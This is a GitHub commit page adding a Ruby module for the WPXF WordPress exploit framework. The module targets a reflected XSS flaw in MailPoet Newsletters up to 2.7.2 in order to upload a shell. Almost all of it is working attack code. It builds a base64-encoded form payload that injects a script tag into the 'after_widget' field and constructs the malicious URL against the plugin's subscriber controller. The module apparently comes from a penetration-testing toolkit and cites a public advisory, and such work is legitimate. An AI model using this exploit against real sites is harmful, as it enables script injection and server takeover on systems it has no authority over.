Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 0c36471

Browse files
committed
Add MailPoet Newsletters <= 2.7.2 reflected XSS module
1 parent 014b88a commit 0c36471

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
require 'base64'
2+
3+
class Wpxf::Exploit::MailpoetNewslettersV272ReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'MailPoet Newsletters <= 2.7.2 Reflected XSS Shell Upload',
11+
author: [
12+
'Sipke Mellema,', # Discovery and disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8617'],
17+
['URL', 'https://sumofpwn.nl/advisory/2016/reflected_cross_site_scripting_vulnerability_in_mailpoet_newsletters_plugin.html']
18+
],
19+
date: 'Sep 10 2016'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('wysija-newsletters', '2.7.3')
25+
end
26+
27+
def base64_encoded_payload
28+
Base64.urlsafe_encode64({ form: Utility::Text.rand_alpha(3), after_widget: "<script>#{xss_ascii_encoded_include_script}</script>" }.to_json)
29+
end
30+
31+
def url_with_xss
32+
"#{full_uri}?wysija-page=1&controller=subscribers&action=wysija_outter&encodedForm=#{base64_encoded_payload}"
33+
end
34+
end

0 commit comments

Comments
 (0)